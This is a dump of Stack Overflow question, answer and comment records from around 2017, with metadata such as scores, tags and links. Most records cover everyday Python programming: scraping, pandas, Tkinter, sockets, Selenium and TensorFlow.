has body: I'm a beginner in Python. I want to retrieve data but the script only records one page. import json import urllib2 import requests from bs4 import BeautifulSoup for i in range(12000,12200): page="https://www.qualibat.com/resultat-de-la-recherche/mcp-peinture-{}".format(i) html = requests.get(page) soup = BeautifulSoup(html.text, 'html.parser') data = json.loads(soup.find('script', type='application/ld+json').text) print data
has comment: http://stackoverflow.com/comment/80990860
favorite count: 0
type: Question
tagged with: beautifulsoup
has comment: http://stackoverflow.com/comment/80993425
tagged with: python
has answer: http://stackoverflow.com/a/47022236
score: -3

http://stackoverflow.com/comment/81034771
type: Comment
has text: You might use [this](https://codereview.stackexchange.com/a/83763/138213) code to help point you in the right direction.
comment on: http://stackoverflow.com/q/47043626
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81041865
type: Comment
comment on: http://stackoverflow.com/q/47046958
score: 0
type: QuestionComment
has text: @obgnaw Thank you but this is not calculating the minimum coins or calculating how many ways in total. The function here is going to show all combinations which is more complex i think. But anyway thanks. Also there is a requirement to use dictionary here.

http://stackoverflow.com/comment/80848314
score: 0
type: AnswerComment
has text: Yes, this is one way to do it (not the shortest way though ;-) ).
type: Comment
comment on: http://stackoverflow.com/a/46948640

http://stackoverflow.com/q/47011866
type: AnsweredQuestion
tagged with: python-2.7
score: 0
tagged with: urllib2
accepted answer: http://stackoverflow.com/a/47012210
answer count: 1
has answer: http://stackoverflow.com/a/47012210
type: Question
tagged with: exception
has body: I have a script printing out the response from an API, but I cant seem to catch any exceptions. I think I've gone thru every question asked on this topic without any luck. How can I check if the script will catch any errors/exceptions? I'm testing the script on a site i know returns 403 Forbidden, but it does'nt show. My script: import urllib2 url_se = 'http://www.example.com' opener = urllib2.build_opener() opener.addheaders = [('User-agent', 'API to File')] try: request = opener.open(url_se) except urllib2.HTTPError, e: print e.code except urllib2.URLError, e: print e.args except Exception: import traceback print 'Generic exception ' + traceback.format_exc() response = request.read() print response Is this the right approach? Whats the best practice for catching exeptions concerning urllib2
has title: Cant catch exeptions with urllib2
tagged with: python

http://stackoverflow.com/comment/81036417
type: Comment
score: 0
type: AnswerComment
has text: The order of your tuples is not the same as the one describe by the OP.
comment on: http://stackoverflow.com/a/47044417

http://stackoverflow.com/a/47032545
has comment: http://stackoverflow.com/comment/81011799
downvote count: 0
has comment: http://stackoverflow.com/comment/81012052
upvote count: 1
score: 1
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/47032422
has body: You need to give your signin() and registerforevent() functions email and password arguments; for example: def signin(email, password): .... def registerforevent(email, password): .... Then you can simply run your functions in a loop that iterates over your different emails and password pairs and input them into the functions. There are many ways to do such a loop and it will depend on how you are storing and accessing each unique email/password pair. One example is if you had your credentials stored in a python dictionary where the key could be the email address and value the password, e.g: credentials = {"joe@blogs.com": 'password1234', "jane@blogs.com": '1234password'} for email, password in credentials.items(): signin(email, password) registerforevent(email, password) Note: credentials.items() for python 3.x and credentials.iteritems() for python 2.x
answers question: http://stackoverflow.com/q/47032422

http://stackoverflow.com/comment/80804077
type: Comment
score: 0
comment on: http://stackoverflow.com/q/46928093
type: QuestionComment
has text: Did you take a look at: https://stackoverflow.com/a/46901612/4909087 - **Single Character Replacement** code?

http://stackoverflow.com/a/47028664
upvote count: 4
downvote count: 0
score: 4
has body: You can use following DataFrame.replace( to_replace=None, value=None, inplace=False, limit=None, regex=False, method='pad', axis=None) In your case, dff['values'].replace( to_replace=[0], value=' ', inplace=True )
type: Answer
answers question: http://stackoverflow.com/q/47028601

http://stackoverflow.com/q/47016940
type: AnsweredQuestion
score: 0
tagged with: iterated-function
has answer: http://stackoverflow.com/a/47017436
answer count: 1
has title: barnsley fern implementation in python script
tagged with: iteration
type: Question
tagged with: python
has body: I am writing a script to reproduce Barnsley's fern in Python, however I get something quiet different: Here is my code: def iterate_vec(f, x0, a, steps=100): """x0: initial vector a: parameter to f(x,a)""" n = len(x0) # state dimension x = np.zeros((steps+1, n)) x[0] = x0 for k in range(steps): x[k+1] = f(x[k], a) return(x) def barnsley(x, A): """Barnley's fern: x: initial point in 2D a: matrices [A_0,...,A_m-1]""" m = A.shape # should be (4, 2, 2), last column for bias fs = [0,1,2,3] i = f = np.random.choice(fs, p=[0.01, 0.85, 0.07, 0.07]) # choose one, in this case m[0] = 4, hence a randint btw 0 and 4 y = A[i] @ np.append(x[0],1) #in this case either first or second matrices are multiplied by vector x return(y) x = iterate_vec(barnsley, [0,0], A, 10000) print(x.shape) plt.plot(x[:,0], x[:,1], '.', markersize=0.5) And this is my matrix A: A = np.array([ [[0, 0], [0, 0.16]], [[0.85, 0.04], [-0.04, 0.85]], [[0.2, -0.26], [0.23, 0.22]], [[-0.15, 0.28], [0.26, 0.24]], ])
accepted answer: http://stackoverflow.com/a/47017436

http://stackoverflow.com/comment/80840695
type: Comment
type: QuestionComment
has text: Django (1.10 onwards) provides the [`BigAutoField`](https://docs.djangoproject.com/en/1.11/ref/models/fields/#bigautofield). You'd need to create subclass of the `models.Model`, overwrite the `id` field and then inherit from that.
comment on: http://stackoverflow.com/q/46946697
score: 1

http://stackoverflow.com/q/46924974
tagged with: python
has title: ''.join() in ThreadPoolExecutor eat memory
has comment: http://stackoverflow.com/comment/80797951
upvote count: 3
tagged with: multithreading
downvote count: 0
answer count: 1
has body: try code like this: import gc import random from concurrent.futures import ThreadPoolExecutor zen = "Special cases aren't special enough to break the rules. " def abc(length: int): msg = ''.join(random.sample(zen, length)) print(msg) del msg if __name__ == '__main__': pool = ThreadPoolExecutor(max_workers=8) while True: for x in range(256): pool.submit(abc, random.randint(2, 6)) print('===================================================') gc.collect() The code may take about 8MB if it running without ThreadPoolExecutor, or about 30MB using str() instead of ''.join(). But this code keep eating RAM without limit. I thought it is caused by random.sample or something else, but it proved that ''.join() in ThreadPoolExecutor cause this problem. It confuse me as there is no modules mutually import each other(share zen only), &amp; neither the del or Gc work :( ps: please notes that infinite loop is not a problem. when you run something like: while True: print(1234567) the memory usage will keeping under a certain line (code above may take not more than 1MB?). The code at the top don't have an increasing list or dict, &amp; the variable has been del at the end of the module. So it should be cleaned up when a thread finish as I think, which obviously not. pss: let's talk like this: the cause of the problem is anything in ''.join() will not be recycled. As if we change the abc module this way: tmp = random.sample(zen, length) msg = ''.join(tmp) print(msg[:8]) del msg, tmp Gc works effectively, and the usage keeping about 26MB. So is there something I missed when using ''.join() or python language has a bug there?
favorite count: 0
type: Question
score: 3
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80798266
has comment: http://stackoverflow.com/comment/80796743
has answer: http://stackoverflow.com/a/56868608
tagged with: memory-leaks

http://stackoverflow.com/a/47051302
accepted answer of: http://stackoverflow.com/q/47051266
type: AcceptedAnswer
upvote count: 1
answers question: http://stackoverflow.com/q/47051266
downvote count: 0
has body: You can use str.isalpha unbound: filter(str.isalpha, a) This works because an unbound method can still take an object of the same type as the first argument. This repeatedly calls str.isalpha(string_value): &gt;&gt;&gt; str.isalpha('az') True &gt;&gt;&gt; str.isalpha('1') False Demo: &gt;&gt;&gt; a = ["az", "1", "afasf7af", "8", "dsgsdgsg"] &gt;&gt;&gt; list(filter(str.isalpha, a)) ['az', 'dsgsdgsg']
score: 1
type: Answer

http://stackoverflow.com/a/46944786
accepted answer of: http://stackoverflow.com/q/46944301
has body: when you use the slice [start: end: step], you must ensure the direction of from start to end is same as the sign of step，it's means: start &lt; end if step is positive. start &gt; 'end' if step is negative. Notice: -1 means the last item in the list. start and end is decide by python when they are not specified. step is default 1. str[::-1] start equals -1, end equals 0, str[::-1] produces a reserved list. str[:-(n%2):-1] start equals -1, end equals -0(n is even) or -1(n is odd). end equals -0, then str[:-(n%2):-1] produces a reserved list. end equal -1, then str[:-(n%2):-1] produces a empty list.
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/46944301
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/81002486
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47027262
has text: I've added the edits! if df is your dataframe and some_column is your column, you can use `df['some_column'].str`
score: 0

http://stackoverflow.com/comment/80805031
comment on: http://stackoverflow.com/a/46929096
has text: Funnily enough, I was wondering why using the underscore... Can you explain why not give it a proper name?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/46906931
score: 1
has body: I created a button that retrieves a list from a DataFrame based on some input from a text field. Everytime the button is pressed, the list will be refreshed. I output the list (as an OptionMenu) in a separate Frame (outputFrame). However, every time I press this button, a new OptionMenu is added to the Frame (instead of overwriting the previous one). How can I make sure that the content of 'ouputFrame' is overwritten each time I press the button? # start root = Tkinter.Tk() # frames searchBoxClientFrame = Tkinter.Frame(root).pack() searchButtonFrame = Tkinter.Frame(root).pack() outputFrame = Tkinter.Frame(root).pack() # text field searchBoxClient = Tkinter.Text(searchBoxClientFrame, height=1, width=30).pack() # function when button is pressed def getOutput(): outputFrame.pack_forget() outputFrame.pack() clientSearch = str(searchBoxClient.get(1.0, Tkinter.END))[:-1] # retrieve list of clients based on search query clientsFound = [s for s in df.groupby('clients').count().index.values if clientSearch.lower() in s.lower()] clientSelected = applicationui.Tkinter.StringVar(root) if len(clientsFound) &gt; 0: clientSelected.set(clientsFound[0]) Tkinter.OptionMenu(outputFrame, clientSelected, *clientsFound).pack() else: Tkinter.Label(outputFrame, text='Client not found!').pack() Tkinter.Button(searchButtonFrame, text='Search', command=getOutput).pack() root.mainloop()
accepted answer: http://stackoverflow.com/a/46907437
tagged with: tkinter
has title: Tkinter remove/overwrite elements from Frame
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46907437
downvote count: 0
upvote count: 1
tagged with: python
linked to: http://stackoverflow.com/q/17580218
answer count: 1
favorite count: 0
type: Question

http://stackoverflow.com/a/46920725
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46915234
has body: I changed my form_valid() to this: def form_valid(self, form, **kwargs): context = self.get_context_data(**kwargs) form.instance.section_course_id = context['pk'] form.save() return super(SectionCreate, self).form_valid(form) Apparently, it wanted the id of the Course model. Needed to set the foreign key name with _id to the id being passed into the context.
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/46915234

http://stackoverflow.com/comment/81028223
type: QuestionComment
score: 0
has text: Welcome to StackOverflow. Please read and follow the posting guidelines in the help documentation. [Minimal, complete, verifiable example](http://stackoverflow.com/help/mcve) applies here. We cannot effectively help you until you post your MCVE code and accurately describe the problem. We should be able to paste your posted code into a text file and reproduce the problem you described. "I am getting errors" is not a problem specification.
type: Comment
comment on: http://stackoverflow.com/q/47039349

http://stackoverflow.com/comment/80916712
comment on: http://stackoverflow.com/q/46984656
score: 1
type: Comment
type: QuestionComment
has text: It sounds like `expected_output` is a string.

http://stackoverflow.com/a/46987657
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/80933591
has comment: http://stackoverflow.com/comment/80931463
downvote count: 0
has comment: http://stackoverflow.com/comment/80930112
upvote count: 1
answers question: http://stackoverflow.com/q/46987483
has comment: http://stackoverflow.com/comment/80930246
has body: In your code: l = f.read(1024) while (l): conn.send(l) print('Sent ',repr(l)) l = f.read(1024) f.close() # here The file has been closed too early. The first 1024 bytes of image will be sent. You should reduce one indent of that line: l = f.read(1024) while (l): conn.send(l) print('Sent ',repr(l)) l = f.read(1024) f.close() And, I think your last three lines should add one indentation, to accept coming clients. So, the while statment should be this: while True: conn, addr = s.accept() # Establish connection with client. print 'Got connection from', addr data = conn.recv(1024) print('Server received', repr(data)) filename='imagefile.jpg' f = open(filename,'rb') l = f.read(1024) while (l): conn.send(l) print('Sent ',repr(l)) l = f.read(1024) f.close() print('Done sending') conn.send('Thank you for connecting') conn.close() In your Java client, you have hard coded the image size: int sizeOfFile = 32336; byte[] fileData = new byte[sizeOfFile]; and write the whole array to file: fos = new FileOutputStream("fileImage.png"); fos.write(fileData); That's why server send 1024B but client creates the same size image as the original.

http://stackoverflow.com/q/46943563
type: Question
has comment: http://stackoverflow.com/comment/80835190
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80834565
has answer: http://stackoverflow.com/a/46943673
has comment: http://stackoverflow.com/comment/80835205
tagged with: python
has comment: http://stackoverflow.com/comment/80834847
has comment: http://stackoverflow.com/comment/80834808
score: 0
has body: I want my get_average function to take number list as the parameter, drops the lowest number from the list, and calculates the average number. The function returns the average number. I'm a begainner in python. I don't understand how can i Drop lowest number from the list. i'm really stuck. my program so far - def get_numbers(): numbers = [] num_to_get = int(input('How many numbers do you want to enter?')) while num_to_get &gt; 0: num_to_get -= 1 number = int(input('Enter a number: ')) numbers.append(number) return numbers def get_average(number_list, number): total = 0 for number in number_list: total += number average = total/len(number_list) for i in range(len(number_list)): number_list[i] = 0 number = 0 return average def show_average(value): print('Average:', value) def main(): numbers = get_numbers() print('Number List:', numbers) number = 123 average = get_average(numbers, number) show_average(average) main()
answer count: 2
has comment: http://stackoverflow.com/comment/80835155
has comment: http://stackoverflow.com/comment/80834962
has answer: http://stackoverflow.com/a/46943688
upvote count: 1
downvote count: 1
has title: drop lowest numbers from list in python
favorite count: 0

http://stackoverflow.com/q/47043011
has comment: http://stackoverflow.com/comment/81034141
has comment: http://stackoverflow.com/comment/81034740
has comment: http://stackoverflow.com/comment/81039218
tagged with: google-app-engine
tagged with: app-engine-flexible
tagged with: python
has comment: http://stackoverflow.com/comment/81033078
type: AnsweredQuestion
has body: I have a working Python 3 app on Google App Engine (flexible) connecting to Postgres on Google Cloud SQL. I got it working by following the docs, which at some point have you connecting via psycopg2 to a database specifier like this postgresql://postgres:password@/dbname?host=/cloudsql/project:us-central1:dbhost I'm trying to understand how the hostname /cloudsql/project:us-central1:dbhost works. Google calls this an "instance connection string" and it sure looks like it's playing the role of a regular hostname. Only with the / and : it's not a valid name for a DNS resolver. Is Google's flexible Python environment modified somehow to support special hostnames like this? It looks like stock Python 3 and psycopg2, but maybe it's modified somehow? If so, are those modifications documented anywhere? The docs for the Python runtime don't have anything about this.
upvote count: 2
score: 1
answer count: 1
tagged with: google-cloud-sql
has title: How do database connections work in Google App Engine python + Google Cloud SQL?
has comment: http://stackoverflow.com/comment/81034073
accepted answer: http://stackoverflow.com/a/47065274
has answer: http://stackoverflow.com/a/47065274
downvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/q/46987911
tagged with: fuzzy
linked to: http://stackoverflow.com/q/166944
has comment: http://stackoverflow.com/comment/80922486
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80922863
tagged with: python
tagged with: php
has comment: http://stackoverflow.com/comment/80922870
duplicate of: http://stackoverflow.com/q/166944
has answer: http://stackoverflow.com/a/46987970
score: 0
has comment: http://stackoverflow.com/comment/80922881
upvote count: 1
tagged with: variables
answer count: 1
downvote count: 1
favorite count: 0
has body: I have 2 system, the interface I build with PHP and the machine is build with python because I use fuzzy in python. I have to try get the specific data with PHP and that work And i have make a function with python to recieve a variable and that work But I have a problem The problem is, how to throw a variabel from MySQL with PHP and process it with python ? after that finish the process, how to throw back the result to PHP and then send to mySQL databases? The code in php like this, the code is to grab the data from sql function fuzzy($id = '') { $data_sg1 = core::selectWhereCollums('area_proses','default','sg1',array('id'=&gt;$id)); $data_sg2 = core::selectWhereCollums('area_proses','default','sg2',array('id'=&gt;$id)); $data_sg3 = core::selectWhereCollums('area_proses','default','sg3',array('id'=&gt;$id)); $this-&gt;session-&gt;set_flashdata('success','success'); redirect('area_proses'); } and the code in python like this def hitung_fuzzy(masukan_sg1, masukan_sg2, masukan_sg3): sg1 = fuzz.Antecedent(np.arange(0, 5, 1), 'sg1') sg2 = fuzz.Antecedent(np.arange(0, 5, 1), 'sg2') sg3 = fuzz.Antecedent(np.arange(0, 5, 1), 'sg3') --------------------- -------------------- #################################################### #Masukan start_time = time.time() a = float(input("Masukan SG1: ")) b = float(input("Masukan SG2: ")) c = float(input("Masukan SG3: ")) z = hitung_fuzzy(a,b,c) print ("--------------------------------\n") print ("Hasil Perhitungan:\n") print (z) print ("--------------------------------\n") print ("Waktu proses adalah :\n") print("%s detik\n" % (time.time() - start_time)) print ("--------------------------------\n") raw_input("Tekan enter untuk keluar")
has comment: http://stackoverflow.com/comment/80922509
has title: How to Connect PHP and Python
type: Question

http://stackoverflow.com/comment/80784645
comment on: http://stackoverflow.com/q/46918483
type: QuestionComment
type: Comment
score: 0
has text: Welcome to [SO]! Thank you for taking the time to present an example to explain your question. In future, try to only post code that you have actually run, along with any error message or output that confuses you. It is obvious that your code snippet is psuedo-code, not actual python code. I'm looking forward to seeing more questions (and answers!) from you.

http://stackoverflow.com/q/46913428
answer count: 0
has comment: http://stackoverflow.com/comment/80776378
score: 0
type: Question
tagged with: python-3.x
type: UnansweredQuestion
tagged with: pyqt4
tagged with: python
has comment: http://stackoverflow.com/comment/80773908
has title: Display cmd output in PyQt4 QTextBrowser (Python)
has body: I'm using PyQt4.X and Python 3.X I want to display cmd command output at QTextbrowser, so I used this code test = subprocess.check_output('dir', shell=True) self.textBrowser.append(test) But it doesn't work, so I changed it like this test = subprocess.check_output('dir', shell=True) container = str(test) self.textBrowser.append(container) Then, it show result at QTextbrowser, but character almost changed like \xb5\xe5\xb6\xf3\xc0\xcc\xba\xea\ How can I get proper result? All cmd command outputs has no-english character.

http://stackoverflow.com/comment/80827485
comment on: http://stackoverflow.com/a/46939184
type: AnswerComment
score: 1
has text: thanks, indeed the solution was in using BeautifulSoup, but I also use regexp to fetch needed data.
type: Comment

http://stackoverflow.com/a/46909717
downvote count: 0
upvote count: 1
score: 1
has body: To build a file during build phase override cmdclass. See https://stackoverflow.com/a/43728788/7976758: import distutils.command.build # Override build command class BuildCommand(distutils.command.build.build): def run(self): # Run the original build command distutils.command.build.build.run(self) # Custom build stuff goes here # Replace the build command with ours setup(..., cmdclass={"build": BuildCommand}) To include a non-code file in a sdist list in in MANIFEST or MANIFEST.in. See https://docs.python.org/3/distutils/sourcedist.html#specifying-the-files-to-distribute To include a non-code file in a wheel list it as package_data in your setup.py. See https://docs.python.org/3/distutils/setupscript.html#installing-package-data: setup(..., packages=['mypkg'], package_data={'mypkg': ['*.dat']}, )
answers question: http://stackoverflow.com/q/46908392
type: Answer

http://stackoverflow.com/comment/80983308
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47004456
has text: In general you do not need to specify a user ID manually as Django will create one for you. I suggest reading the [docs](https://docs.djangoproject.com/en/1.11/topics/db/models/) then coming back and editing your question to make it more specific

http://stackoverflow.com/a/46972774
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46972640
answers question: http://stackoverflow.com/q/46972640
score: 1
type: Answer
has body: You need apply with boolean indexing: df = df2[df2.apply(lambda x: any((df['begin'] &lt;= x['begin2']) &amp; (x['end2'] &lt;= df['end'])), axis=1)] print (df) begin2 end2 0 12 14 1 13 13 3 40 48 Detail: print (df2.apply(lambda x: any((df['begin'] &lt;= x['begin2']) &amp; (x['end2'] &lt;= df['end'])), axis=1)) 0 True 1 True 2 False 3 True dtype: bool
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/47047971
answers question: http://stackoverflow.com/q/47047223
has body: The error says it all : AttributeError: 'list' object has no attribute 'click' As per your code block you have : browser.find_elements_by_xpath('//*[@id="CellPlayDate0"]').click() Which instead of an WebElement returns a List. Hence when you try to click on the List you see the error as AttributeError: 'list' object has no attribute 'click' Solution would be either to change the method find_elements_by_xpath to find_element_by_id or to construct an unique xpath as follows: As the WebElement have a id: browser.find_elements_by_id("CellPlayDate0').click() Construct an xpath: browser.find_elements_by_xpath("//td[@id='CellPlayDate0']").click()
score: 0
type: Answer

http://stackoverflow.com/comment/80902004
score: 0
type: Comment
has text: Awesome man. You're the best. Post it [here](https://stackoverflow.com/questions/46976665/merge-multiple-json-into-single-one-python) and link also this question. For me it's the answer of the other question. Thanks
type: AnswerComment
comment on: http://stackoverflow.com/a/46975494

http://stackoverflow.com/a/46988917
type: Answer
has comment: http://stackoverflow.com/comment/80924354
has comment: http://stackoverflow.com/comment/80924531
accepted answer of: http://stackoverflow.com/q/46988727
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/80924627
answers question: http://stackoverflow.com/q/46988727
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80924401
has comment: http://stackoverflow.com/comment/80924387
has comment: http://stackoverflow.com/comment/80924314
has comment: http://stackoverflow.com/comment/80924738
has body: Your return statement prematurely terminates your get_links() function. Meaning this part next_page = root.cssselect(".pager a:contains('Next')")[0].attrib['href'] if root.cssselect(".pager a:contains('Next')") else "" if next_page: full_link = urljoin(link,next_page) get_links(full_link) is never executed. Quickfix would be to put the return statement at the end of your function, but you have to make film_storage global(defined outside the get_links() function). Edit: Just realized, since you will be making your film_storage global, there is no need for the return statement. Your code in main would just look like this: get_links(main_link) for item in film_storage: print(item)

http://stackoverflow.com/q/46966196
score: 1
answer count: 1
upvote count: 1
has body: Another challenging question for me but perhaps an easy one for you. I just don't know how to think in a pythony way; I have a data frame: dt={'Name':['A','A','B','B','C','D','D'],'FG':['N','Y','N','Y','N','N','N'], 'Date':[2016,2017,2017,2016,2017,2017,2017]} df=pd.DataFrame(data=dt,columns=['Name','FG', 'Date']) What I want to do is, for each name in "Names" (which can be repetitive) check the flag value in "FG", if that is set to "Y" and the date associated with that is greater than the one associated with "N" I will keep the entry otherwise I will drop it. I cannot really think of a way to write this code simply due to lack of experience. To visualize here is what I have Name FG Date A N 2016 A Y 2017 B N 2017 B Y 2016 C Y 2017 D N 2017 D N 2017 Here is what I would like to return Name FG Date A Y 2017 C Y 2017 Thanks heaps guys
favorite count: 0
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/46966353
accepted answer: http://stackoverflow.com/a/46966353
downvote count: 0
has comment: http://stackoverflow.com/comment/80881219
tagged with: python
has title: Python Dataframe: clean data of one column by comparing values from other columns
type: AnsweredQuestion
tagged with: pandas

http://stackoverflow.com/comment/80831805
has text: @EricEdLohmar I've edited the question to clarify the varying depths, varying lengths of lists at each depth, that make this difficult to solve with indices. I fear my simplified reproducible example may be too simplified. But the core is there, as suggested by user2357112, that my single custom internal iterator is insufficient to the task.
type: Comment
comment on: http://stackoverflow.com/q/46941719
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80835642
has text: It is actually not so difficult. You can do it via normal get/post or using ajax. Ajax, i think, is better option. Pass id of post with ajax request and call function which will iterate over all posts and set only one post pinned.
type: QuestionComment
comment on: http://stackoverflow.com/q/46943893
score: 0
type: Comment

http://stackoverflow.com/comment/80901316
type: Comment
has text: Only shows one result which is the first result ```Con Dao``` I have added an image snippet of the live html
type: QuestionComment
comment on: http://stackoverflow.com/q/46976675
score: 0

http://stackoverflow.com/comment/80812798
comment on: http://stackoverflow.com/a/46932772
score: 0
type: Comment
has text: @MatteoItalia, this is not specified by the standard and is implementation-defined, whereas `std::endl` is
type: AnswerComment

http://stackoverflow.com/a/46913546
has body: I suggest you go with a Jinja2 template for this use case — it is pretty fast and a lot of people use it. See http://jinja.pocoo.org for more information.
type: Answer
answers question: http://stackoverflow.com/q/46909813
score: 1
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46909813
upvote count: 1

http://stackoverflow.com/comment/80791727
type: Comment
score: 0
type: QuestionComment
has text: sorry, that is not multiple pieces of code, just one function when the user clicks the title screen
comment on: http://stackoverflow.com/q/46922180

http://stackoverflow.com/a/46967289
type: Answer
accepted answer of: http://stackoverflow.com/q/46964509
score: 2
answers question: http://stackoverflow.com/q/46964509
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: Another way is download and uzip chromedriver and put 'chromedriver.exe' in C:\Python27\Scripts and then you need not to provide the path of driver, just driver= webdriver.Chrome() will work

http://stackoverflow.com/comment/80865015
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46958547
score: 0
has text: So wouldn't sohcahtoa[0].index('opposite') = 0 @tobias_k

http://stackoverflow.com/comment/80936834
has text: Thank you, It works and saved a lot of time
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46994327
type: Comment

http://stackoverflow.com/comment/80831085
type: QuestionComment
has text: In English, what are you trying to do? Follow all your followers or ??? I'm still confused as to what you are attempting.
comment on: http://stackoverflow.com/q/46939900
score: 0
type: Comment

http://stackoverflow.com/q/47007395
tagged with: python
has comment: http://stackoverflow.com/comment/80962006
answer count: 0
tagged with: pandas
score: 0
has comment: http://stackoverflow.com/comment/80961693
has body: I have a dataframe df like this: value days 1 2 3 msno features ++orpnUqSevh2M5A97pRRiONA58g5m9DwaNrhD44HY0= num_100 0.0 77.000 0.0 num_25 0.0 78.000 0.0 num_50 0.0 13.000 0.0 num_75 0.0 3.000 0.0 num_985 0.0 3.000 0.0 num_unq 0.0 84.000 0.0 total_secs 0.0 18987.862 0.0 +0krxpTkQT7hciN95OEp7i2lyKvbXft887VNQGF6xN4= num_100 0.0 0.000 0.0 num_25 0.0 0.000 0.0 num_50 0.0 0.000 0.0 num_75 0.0 0.000 0.0 num_985 0.0 0.000 0.0 num_unq 0.0 0.000 0.0 total_secs 0.0 0.000 0.0 How can I convert it to a 3D ndarray? I have tried x = np.array(list(df.groupby('msno').apply(pd.DataFrame.as_matrix))) But it said :TypeError: 'Series' object is not callable 3D ndarray looks like: [[[ 0 0 0 ..., 0 0 0] [ 0 0 0 ..., 0 0 0] [ 0 0 0 ..., 0 0 0] ..., [ 0 0 0 ..., 0 0 0] [ 0 0 0 ..., 0 0 0] [ 0 0 0 ..., 0 0 0]]] [msno,features,days]
tagged with: dataframe
has title: How to convert dataframe to a 3D ndarray
has comment: http://stackoverflow.com/comment/80961820
has comment: http://stackoverflow.com/comment/80961473
has comment: http://stackoverflow.com/comment/80961858
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/80961534
type: UnansweredQuestion

http://stackoverflow.com/comment/81028707
type: QuestionComment
has text: So, do you want a ternary conditional operator, or something like the [null-conditional operator that exists in C#](https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/operators/null-conditional-operators)?
comment on: http://stackoverflow.com/q/47040899
score: 0
type: Comment

http://stackoverflow.com/a/52165894
type: Answer
answers question: http://stackoverflow.com/q/46962288
downvote count: 2
upvote count: 1
score: -1
has body: In PostgresSQL: UPDATE table SET lon = lon -360 WHERE lon &gt; 180 ; If the 0 begins in Greenwich.

http://stackoverflow.com/comment/80926839
comment on: http://stackoverflow.com/q/46988246
type: Comment
has text: Hi @ogdabou this gives me the entire anchor tag, which is not useful, because it is just me "#"
type: QuestionComment
score: 0

http://stackoverflow.com/q/47048966
tagged with: tensorflow
type: Question
accepted answer: http://stackoverflow.com/a/47053144
has title: Tensorflow bugs in accuracey calculation
tagged with: python
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47053144
answer count: 1
has body: I am new to tensorflow and am practicing building a simple feed forward neural net and some strange things are happening. I am trying to predict a binary label (i.e. it is either 0 or 1). So I am using the following code. # I return the same number of training points that have label of 1 as # label of 0 because before NN was returning 1 always (there are much more 1s # than 0s) def next_batch(num, data_mat, labels, helper): ''' Return a total of `num` random samples and labels. ''' num = num/2 num = int(num) idx = np.arange(0 , len(data_mat)) pos_indices = np.where(helper == [1]) pos_indices = pos_indices[0] np.random.shuffle(idx) np.random.shuffle(pos_indices) idx = idx[:num] pos_indices = pos_indices[:num] idx = np.concatenate((idx, pos_indices)) np.random.shuffle(idx) data_shuffle = [data_mat[i] for i in idx] labels_shuffle = [labels[i] for i in idx] return np.asarray(data_shuffle), np.asarray(labels_shuffle) def neural_net(x, weights, biases): # Hidden fully connected layer with 256 neurons layer_1 = tf.add(tf.matmul(x, weights['h1']), biases['b1']) # Hidden fully connected layer with 256 neurons layer_2 = tf.add(tf.matmul(layer_1, weights['h2']), biases['b2']) # Output fully connected layer with a neuron for each class out_layer = tf.matmul(layer_2, weights['out']) + biases['out'] return out_layer learning_rate = 0.1 num_steps = 500 batch_size = 200 display_step = 100 n_hidden_1 = 10 # 1st layer number of neurons n_hidden_2 = 10 # 2nd layer number of neurons num_input = len(train.columns.values) # num_classes = 2 # # tf Graph input X = tf.placeholder("float", [None, num_input]) Y = tf.placeholder("float", [None, num_classes]) # Store layers weight &amp; bias weights = { 'h1': tf.Variable(tf.random_normal([num_input, n_hidden_1])), 'h2': tf.Variable(tf.random_normal([n_hidden_1, n_hidden_2])), 'out': tf.Variable(tf.random_normal([n_hidden_2, num_classes])) } biases = { 'b1': tf.Variable(tf.random_normal([n_hidden_1])), 'b2': tf.Variable(tf.random_normal([n_hidde…

http://stackoverflow.com/comment/80976186
comment on: http://stackoverflow.com/q/47014765
score: 0
type: Comment
type: QuestionComment
has text: If you post the expected ouput we can think of an alternative solution.

http://stackoverflow.com/q/46952691
score: 0
has body: I use the rest framework write APIs, and when I runserver the website I can access the APIs in the development machine(the intranet ip is 10.10.10.111): But how can I access the API in other computer which is in the 10.10.10.0/24 intranet? If can, this will become more convenient for our team to debugging.
answer count: 3
tagged with: webserver
tagged with: python
has answer: http://stackoverflow.com/a/46952883
has title: How can I provide the Rest Framework API to intranet machine?
type: Question
has answer: http://stackoverflow.com/a/46971143
type: UnansweredQuestion
tagged with: django
has answer: http://stackoverflow.com/a/46955683

http://stackoverflow.com/comment/80877972
type: Comment
comment on: http://stackoverflow.com/a/46964932
type: AnswerComment
score: 0
has text: I'm not sure if I changed the code the way you intended. I tried substituting your line "series_key_values = pd.Series(tuple(final_keys_list)).value_counts()" in my code instead of my line "series_key_values = pd.Series(final_keys_list).value_counts()" I get the same error message -- " TypeError: unhashable type: 'list'"

http://stackoverflow.com/comment/81011618
score: 1
has text: @Adirio thanks. it works. I don't know How should I thank you. you do me a great favor. thank you. thank you. I Owe you
type: Comment
comment on: http://stackoverflow.com/q/47030385
type: QuestionComment

http://stackoverflow.com/a/47046784
